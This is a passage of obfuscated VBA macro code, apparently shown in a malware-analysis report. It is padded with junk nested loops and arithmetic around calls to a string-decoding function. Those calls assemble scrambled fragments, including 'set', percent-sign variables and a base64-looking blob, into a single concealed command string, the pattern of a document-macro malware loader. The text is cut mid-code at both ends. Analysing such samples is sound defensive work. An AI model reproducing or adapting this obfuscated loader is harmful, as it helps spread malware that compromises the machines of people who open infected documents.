7, 38) For Each lEFqFm In oAKpzr kiXTnV = 68336 - KsMDPo For Each kBThV In cCiAl MjskYX = EFoqB Next Next For Each KsXiti In foWvnT IXIjNd = 7157 - uzkLiJ For Each XqPDMq In zsMIsf MYKkij = QDWqi Next Next pjJwNis = XYXjoL("COiIANABjADcAYgBhADYAMgBlADAAMgBijSzfs", 4, 30) For Each wXwhz In hRffj CjZQW = 10662 - YNiaZb For Each ZoGns In ifiZu IXzVhs = dbDkAj Next Next BTzKsiROBw = GKwQzYGvu + """" + KsnXcWCzVrzMar fHuuXSXYUXp = iPCFMHLbjX + hzzcWDG + MPusLBZG + BTzKsiROBw + bGThOcVY + tFaWOY + dfHGrfZMVZ + GrMCqTPTLUl + mTkDETKA + ifhqN + IQbXMIMN + DNiYsfmpA + EIiiJ + UjJjqaAsXi + RnQcKzQQ + BmTDGiwcj + ULRubiwHw + UUjbjbw + pjJwNis + UTACD + fkcOvYqdzjY + KVdplmaorsQ + TbcQU + bMMwFLUSiq + jlwiRjvKZHb + somiTwRIGvo + uYiLIZP + XzKQbrbpD + VjmcQ + FisURLbZd + XNpTljLf + PjMsmwu + lmIJwsjHn + hIoKFlCwO + kfVVouz + HKllPJcJJwD + XNBGwTcwds + jEEclzrhS + vQkzjTV + QPjvwvHH + rwRujnHtnSk + owmLnQ + NlEjoRuj + iWuFjILYp + KRUUNWEkwUz + ifFUHrcmukw + whpdnuj + wUiHBPnrQZl + VGViFjVVN + NMaInkJv + nzHPwnAwL + UaqHZTJKT + wtGApcS + nwubFWrw + mtazsj + vhozT + JVtfzSLBv + IkMRtwKq + dGMhViVOUBX + iAVXasQzNT + KzJWMRlta For Each dDLpF In BEBki Set UtjGPP = ISYqD LQIpoX = 99922 - jjWjL For Each vvYVTc In HNjaw wPuFN = EuntP Next Next NiVkJ = (ZDndN - ChrB(89268)) End Function Attribute VB_Name = "TCACqfmqkTA" Function MPusLBZG() On Error Resume Next For Each rKzwO In KzfMKj WUcmzE = 24886 - kHJKh For Each ConjD In zEZIK UPAudW = RqMzAZ Next Next whpdnuj = XYXjoL("u7qjQzzm%=BujuduGUBtPOq1u", 6, 18) For Each MvGCqn In lHLsdG cRvTc = 30936 - wOpimO For Each TqqmJ In KDzWS AjIoC = PioYRi Next Next For Each HfiwEo In tALpfj FUUOAE = 63175 - vuzMG For Each KWNQT In LPQbDq ntchNY = PwnonV Next Next nzHPwnAwL = XYXjoL("Jwb3%nzHMLr%!!%ivEDtVo%1.9", 7, 17) For Each EjoAs In njdwYM jqEtKK = 17044 - JSNkoK For Each LjYdzj In fbaLH DQiIA = MYtudd Next Next For Each HrSjJW In rwpPJB QZYzI = 73991 - dNKzaQ For Each SHhQSn In nIcOj fiEJKE = NUFoKJ Next Next uYiLIZP = XYXjoL("Az9nsset %fPdTHRHVOAz4wC", 6, 16) For Each diHmiF In YqIzq rdRwk = 53275 - zvIBmW For Each MzCtG In oqJAp ahGrwK = qBkDI Next Next For Each WRmHdL In fajNV Hsrqr = 49941 - ffHlhM For Each IHvzdI In QjLZZA cpBTqL = CiizN Next Next KzJWMRlta = XYXjoL("GbMY!!%fpau", 5, 4) For Each ArKBa In MrXij MbrIfQ = 34501 - ACpGR For Each BZGZRA In uiZZK JnmFLS = djitDO Next Next For Each BNlMrj In SDaaD FwZhjB = 9251 - uwEdd For Each UWZjXu In wIRmJq kSWVU = EQTDXs Next Next tFaWOY = XYXjoL("mluMFt %bTQiUEMirSoZ%=nj", 6, 17) For Each WGPjj In rkvdq IzJpH = 89990 - Kumcbi For Each ojDCW In ikRps DvzZpo = SLpvbM Next Next For Each jMHUbB In wXKsM BvvZYw = 41233 - GCwXo For Each niRkGT In FELDUj vJQjGG = wWCiE Next Next wUiHBPnrQZl = XYXjoL("NarkadNDl%!&&set %RrJslo", 4, 16) For Each idKIwm In SOFal KwqjWE = 23492 - SwmSRi For Each oMOFCh In buDGi RjDpuN = EImjar Next Next For Each XiGfbM In sDUTR DwWFuv = 18 - lrDDf For Each WqKnnc In jDUJA ZZXcH = OUhjVi Next Next NMaInkJv = XYXjoL("f14oet %PQoQpCmUPzjuiwHl", 5, 18) For Each ojmmC In wYiBth oQTuCv = 88501 - amNPvK For Each TpJpI In ofzQR EhuXiu = DzAmiZ Next Next For Each kaBQjZ In IwHDGo lFdMrH = 65281 - XCMqUT For Each VjdOjY In IirIv EfIGzr = iXSirP Next Next dfHGrfZMVZ = XYXjoL("Woiz&&set jomb", 4, 7) For Each DwEpFP In cbasH SwzVj = 23982 - lsuGsc For Each DwNvWQ In QKaBDf bDiOq = IlXww Next Next For Each wQGXsM In JzCZdT oduXWi = 32543 - JBVut For Each UPJKJU In MMakm jFswK = bHFiSw Next Next UjJjqaAsXi = XYXjoL("mB%%!!%rbsLLBzkRa%0uGM", 4, 15) For Each OZGEB In TDojsO wacRT = 74822 - IkSRDL For Each RmPhr In uGcFH mTVrV = jqiAin Next Next For Each qElQcG In MwziZ TnDpNA = 95478 - jAUqLt For Each MwjvVh In ciZaB IjzkMj = tSOWI Next Next HKllPJcJJwD = XYXjoL(".XbaNIz1p", 5, 3) For Each nJERZQ In czBSm vLLYQ = 75505 - WozCki For Each qhuhKn In uwXNA pzIii = Hkshtw Next Next For Each cLBpz In SFTBU lbArmj = 64297 - IzZnci For Each HcDWBI In qdcEbi qkjNr = fYZrf Next Next ULRubiwHw = XYXjoL("sat %hVjWlcA", 3, 5) For Each wKdlN In OkKcP TVwlWP = 64756 - CnSOq For Each kdvjC In rdMiN OsNuvN = FuWIu Next Next For Each EjYkZZ In DYRcS BfiMij = 66308 - nzikRC For Each SaFOw In IIwlj UJsVrr = MjIhwV Next Next jlwiRjvKZHb = XYXjoL("AKaqHl6Toj", 3, 3) For Each lRhuzI In AkzMO CsXja = 98870 - Omvdms For Each piJsGs In mqaEl XTYuId = jTMcH Next Next For Each cahZi In VZzQM AOkDA = 62475 - foGEw For Each wvfdrC In Ewjqk VJFujT = SzVmI Next Next EIiiJ = XYXjoL("f4DY%=ll&&!%bTQiU3fNP7", 5, 13) For Each NCTWV In imjNp GNsNEh = 88328 - JKJZt For Each kpVBa In UmpRlZ UCFpv = wZFRE Next Next For Each GQKFpZ In zjntVj CEtIP = 36399 - popHZ For Each iupth In ZSZXZ HCKnNc = LrZiHb Next Next hIoKFlCwO = XYXjoL("DIQ1l%=p&&set %fHuuXSj4tn", 5, 17) For Each oSRcU In PAPDrt LJmch = 39073 - HQOBa For Each bOhFM In RPVHBz aiHmH = TPUBEw Next Next For Each pGMArR In idNJr AYuDHa = 5270 - onzckY For Each ZlASi In EYwtFt flbjJq = Bzora Next Next IkMRtwKq = XYXjoL("o.rJVJEGJSOKij", 4, 6) For Each ABSPYG In zFrMrI wzwKB = 62635 - DDMQSt For Each QcwIs In kCGhU AcatOp = mSBzi Next Next For Each FfKmk In oRGti mpTQqL = 54404 - VWzWYr For Each mlOBOV In BodWnQ cPHwF = SMXDW Next Next wtGApcS = XYXjoL("lpIw%=he&&s.0nD1F9", 2, 10) For Each jviioN In kCfrrP pnfmT = 45869 - QsHqY For Each iTZNK In QlASGp vfOzX = iuXih Next Next For Each KXvvRQ In sXGCY jozLZB = 84070 - zAtZnB For Each jXPPsf In PiZnAp tSSizA = HUuEw Next Next UTACD = XYXjoL("9EudsWA&&aoJ", 6, 4) For Each NXCWiO In JArmjw YVllBB = 97013 - haqqB For Each bDVLtA In scDJlN tbfCwO = miICwh Next Next For Each JHqQwO In pYsaPw hWoui = 32874 - jYAuQ For Each zmZUn In BrYwr jlqTEz = vJbvC Next Next owmLnQ = XYXjoL("5et %iVjsTzEwt4", 2, 7) For Each vNWciq In ivCCw nwubJ = 49721 - TufdNU For Each jVKWr In jsDiO FWsojo = jKPBh Next Next For Each dNtCt In DsNAvc hIGTmc = 97362 - idAVGl For Each bmjVLw In HDAlt uqWiTf = wVXXt Next Next IQbXMIMN = XYXjoL("1EMirSoZ1TVjm4jW", 2, 7) For Each pvjtj In LGQbQZ wYBCT = 1789 - IprHVB For Each YwGOMc In HNXKT ijdPFE = jowSE …

Open this report in the interactive analyzer, or submit your own file for analysis.